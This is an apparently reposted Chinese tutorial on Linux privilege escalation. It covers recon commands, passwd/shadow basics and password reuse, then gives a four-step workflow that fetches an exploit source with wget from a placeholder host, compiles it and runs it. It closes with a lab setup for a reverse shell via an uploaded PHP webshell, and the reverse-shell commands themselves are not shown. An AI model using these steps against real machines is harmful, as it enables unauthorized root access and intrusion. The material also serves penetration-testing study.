linux下 udf提权_提权学习之旅——Linux操作系统提权

更多全球网络安全资讯尽在邑安全

Linux提权基础

0x00:Linux提权方法

大致归纳总结如下：不过最核心也是最常见的提取方法还是内核提权，其他大多与程序员的配置有关，出现的几率不是很高。

0x01:Linux提权基础知识

uname -a查看内核版本id显示用户的ID，以及所属群组的IDpwd显示当前路径dpkg -lrpm -qa查看已经安装的程序cat /etc/issuecat /etc/*-release查看发行版

密码权限

大部分Linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件有关，passwd里面储存的是用户，shadow里面存储的是密码的hash值。出于安全考虑passwd是全用户可读，root可写的，而shadow是仅root可读写的。

/etc/passwdpasswd由冒号分割，第一列是用户名，第二列是密码，x代表密码hash被放在shadow里面.

/etc/shadowshadow里面的就是密码的hash，但只有root权限才可以查看。

密码复用

另外需要注意的是很多管理员会重复使用密码，所以有可能数据库或者web后台的密码就是root密码。

提权常见的流程

1. wget http://exp/exp.c

   下载exp文件

2. gcc -o exp exp.c

   利用gcc进行编译操作，编译成二进制文件

3. chmod +x exp

   将exp更改为可执行权限

4. ./exp

运行exp进行提权

0x02:Linux反弹shell

Linux一般拿到shell，权限基本都很低,而且在菜刀或其他工具中执行命令没有交互过程(在菜刀等工具中，只是输入返回内容，如在菜刀中执行ssh等命令就不可行)，所以需要通过反弹shell拥有一个交互式的shell。

准备环境

ubuntu + apachekail 192.168.186.134ubuntu 192.168.186.152

上传进去一个php一句话木马，菜刀连接